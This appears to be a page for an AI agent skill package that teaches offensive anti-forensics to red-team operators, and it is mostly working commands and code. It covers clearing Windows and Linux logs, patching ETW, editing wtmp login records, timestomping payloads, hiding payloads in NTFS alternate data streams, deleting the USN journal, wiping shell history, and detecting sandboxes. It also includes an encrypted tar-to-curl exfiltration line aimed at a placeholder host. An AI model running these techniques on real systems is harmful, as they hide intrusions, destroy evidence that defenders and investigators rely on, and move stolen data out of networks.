Loading...
Loading...
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
npx skill4agent add snailsploit/claude-red offensive-anti-forensicsrem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m# Truncate rather than delete -- preserves inode and avoids alerting on missing files
truncate -s 0 /var/log/syslog
truncate -s 0 /var/log/auth.log
truncate -s 0 /var/log/messages
truncate -s 0 /var/log/secure
# Selective removal -- strip lines matching your source IP
sed -i '/10\.10\.14\.5/d' /var/log/auth.log
sed -i '/10\.10\.14\.5/d' /var/log/syslog
# Remove entries within a time window from auth.log
sed -i '/Aug 24 03:0[0-9]/d' /var/log/auth.log
sed -i '/Aug 24 03:1[0-9]/d' /var/log/auth.log
# Handle rotated logs
for f in /var/log/auth.log.* /var/log/syslog.*; do
if file "$f" | grep -q gzip; then
gunzip "$f"
sed -i '/10\.10\.14\.5/d' "${f%.gz}"
gzip "${f%.gz}"
else
sed -i '/10\.10\.14\.5/d' "$f"
fi
done# Flush and rotate, then vacuum
journalctl --flush --rotate
journalctl --vacuum-time=1s
# Alternative: remove journal files directly
rm -rf /var/log/journal/*
systemctl restart systemd-journald
# Selective approach: vacuum to a small size to keep recent benign entries
journalctl --vacuum-size=10Mlastwho/* utmp_editor.c -- remove a specific entry from utmp/wtmp
* Compile: gcc -o utmp_editor utmp_editor.c
* Usage: ./utmp_editor /var/log/wtmp username_to_remove */
#include <stdio.h>
#include <string.h>
#include <utmp.h>
int main(int argc, char *argv[]) {
if (argc != 3) return 1;
FILE *fp = fopen(argv[1], "r+b");
FILE *tmp = fopen("/tmp/.utmp_clean", "wb");
struct utmp entry;
while (fread(&entry, sizeof(entry), 1, fp) == 1) {
if (strncmp(entry.ut_user, argv[2], UT_NAMESIZE) != 0) {
fwrite(&entry, sizeof(entry), 1, tmp);
}
}
fclose(fp); fclose(tmp);
rename("/tmp/.utmp_clean", argv[1]);
return 0;
}# Quick approach using utmpdump (available on most distros)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
grep -v "your_username" /tmp/wtmp.txt > /tmp/wtmp_clean.txt
utmpdump -r < /tmp/wtmp_clean.txt > /var/log/wtmp
rm /tmp/wtmp.txt /tmp/wtmp_clean.txt# Native PowerShell timestamp modification
$file = Get-Item C:\Windows\Temp\payload.exe
$file.CreationTime = "01/15/2025 08:30:00"
$file.LastWriteTime = "01/15/2025 08:30:00"
$file.LastAccessTime = "01/15/2025 08:30:00"
# Match timestamps to a legitimate system file
$ref = Get-Item C:\Windows\System32\notepad.exe
$target = Get-Item C:\Windows\Temp\payload.exe
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime# Metasploit Timestomp via Meterpreter
# meterpreter> timestomp C:\\Windows\\Temp\\payload.exe -f C:\\Windows\\System32\\notepad.exe
# This copies all MACE values from notepad.exe to your payload
# SetMACE via direct NTFS manipulation (bypasses standard API logging)
# Requires raw NTFS access -- tools like SetMACE modify $STANDARD_INFORMATION
# and $FILE_NAME attributes in the MFT directly# Set specific timestamps using touch
touch -t 202501150830.00 /tmp/payload
touch -a -t 202501150830.00 /tmp/payload # access time only
touch -m -t 202501150830.00 /tmp/payload # modification time only
# Clone timestamps from a reference file
touch -r /usr/bin/ssh /tmp/payload
# Modify ctime (change time) -- requires debugfs on ext4
# ctime cannot be set via standard APIs, which forensic analysts know
debugfs -w /dev/sda1 -R "set_inode_field /tmp/payload ctime 202501150830"
# Recursive timestamp normalization for a directory of tools
find /opt/tools -type f -exec touch -r /usr/bin/ls {} \;rem Hide payload in an ADS attached to a benign file
type payload.exe > C:\Users\Public\Documents\readme.txt:payload.exe
rem Execute from ADS (varies by Windows version and payload type)
wmic process call create "C:\Users\Public\Documents\readme.txt:payload.exe"
rem List ADS on a file
dir /r C:\Users\Public\Documents\readme.txt
rem PowerShell ADS operations
Set-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden" -Value "config data"
Get-Content -Path "C:\Users\Public\readme.txt" -Stream "hidden"
Get-Item -Path "C:\Users\Public\readme.txt" -Stream *rem Windows: SDelete from Sysinternals
sdelete -p 3 C:\Windows\Temp\payload.exe
sdelete -p 3 -s C:\Windows\Temp\tools\
rem Cipher /w overwrites deallocated space on a volume
cipher /w:C:\Windows\Temp# Linux: shred overwrites file content before unlinking
shred -vfz -n 3 /tmp/payload
# Secure delete then remove
shred -u /tmp/payload
# Overwrite free space on a partition
dd if=/dev/urandom of=/tmp/wipe_free bs=1M 2>/dev/null; rm /tmp/wipe_free
sync
# For SSDs, TRIM complicates recovery but does not guarantee destruction
fstrim -v /rem Delete the USN Journal (requires admin)
fsutil usn deletejournal /d C:
rem Query USN journal to understand what it recorded about your activity
fsutil usn readjournal C: csv > usn_dump.csv
findstr /i "payload" usn_dump.csv
rem Disable USN journal creation on a volume
fsutil usn deletejournal /n C:# MFT entries for deleted files persist until overwritten
# Filling the volume forces MFT entry reuse
$stream = [System.IO.File]::Create("C:\Windows\Temp\filler.bin")
$buffer = New-Object byte[] (1024 * 1024)
try { while ($true) { $stream.Write($buffer, 0, $buffer.Length) } }
catch { $stream.Close(); Remove-Item "C:\Windows\Temp\filler.bin" }# Clear PowerShell command history
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# Remove credential artifacts from LSASS (risky -- may crash the process)
# Preferred: avoid dumping creds to disk in the first place -- use in-memory-only tools# Clear bash history for current session
unset HISTFILE
export HISTSIZE=0
history -c
rm -f ~/.bash_history
# Prevent history writing for the session
set +o history
# Clear in-memory credentials (if using SSH agent)
ssh-add -D
# Overwrite /proc/self artifacts is not directly possible
# Instead, exec into a new process to shed memory artifacts
exec bash --norc --noprofile# DNS-over-HTTPS for C2 resolution -- avoids DNS logging at the network layer
# Example: configure a tool to resolve C2 domains via DoH
doh_resolvers:
- https://cloudflare-dns.com/dns-query
- https://dns.google/dns-query
# Encapsulate C2 in HTTPS to blend with legitimate web traffic
# Use domain fronting or legitimate CDN endpoints
# See offensive-c2-frameworks skill for detailed C2 traffic shaping# SSH tunneling to encrypt lateral movement traffic
ssh -D 9050 -f -N pivot@10.10.10.5
proxychains nmap -sT 172.16.0.0/24
# Encrypt exfiltrated data before transfer
tar czf - /sensitive/data | openssl enc -aes-256-cbc -pbkdf2 -pass pass:ExfilKey | \
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload// Common VM detection checks
using System.Management;
public static bool IsVirtualMachine() {
using (var searcher = new ManagementObjectSearcher(
"SELECT * FROM Win32_ComputerSystem")) {
foreach (var item in searcher.Get()) {
string manufacturer = item["Manufacturer"]?.ToString().ToLower() ?? "";
string model = item["Model"]?.ToString().ToLower() ?? "";
if (manufacturer.Contains("vmware") || manufacturer.Contains("virtual") ||
model.Contains("virtual") || manufacturer.Contains("xen"))
return true;
}
}
// Check for VM-specific processes
string[] vmProcesses = { "vmtoolsd", "vmwaretray", "vboxservice", "vboxtray" };
foreach (var proc in Process.GetProcesses()) {
if (Array.Exists(vmProcesses, p => proc.ProcessName.ToLower().Contains(p)))
return true;
}
return false;
}# Quick sandbox evasion checks
$checks = @{
LowMemory = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory -lt 2GB
FewCores = (Get-CimInstance Win32_Processor).NumberOfCores -lt 2
SmallDisk = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum -lt 60GB
RecentBoot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddMinutes(-5)
NoUserFiles = (Get-ChildItem "$env:USERPROFILE\Documents" -ErrorAction SilentlyContinue).Count -lt 3
}
if ($checks.Values -contains $true) {
Write-Host "Potential sandbox detected"
exit
}| Artifact Category | Windows Technique | Linux Technique | MITRE ID |
|---|---|---|---|
| Event/Syslog clearing | wevtutil cl / Clear-EventLog | truncate -s 0 / sed -i | T1070.001 |
| Login records | N/A (Security log) | utmpdump edit / wtmp binary edit | T1070.002 |
| Command history | Remove PSReadline history | unset HISTFILE / history -c | T1070.003 |
| File deletion | sdelete / cipher /w | shred -u / dd overwrite | T1070.004 |
| Timestomping | PowerShell Set / Timestomp / SetMACE | touch -r / debugfs ctime | T1070.006 |
| ETW blinding | Patch EtwEventWrite / Invoke-Phant0m | N/A | T1562.001 |
| NTFS ADS hiding | type > file:stream | N/A (ext4 xattr for similar) | T1564.004 |
| Disk artifacts | fsutil usn deletejournal | debugfs / fstrim | T1070.008 |
| Network evasion | HTTPS C2 / DoH | SSH tunnels / encrypted exfil | T1573 |
| VM/Sandbox detection | WMI queries / process checks | dmidecode / lshw checks | T1497.001 |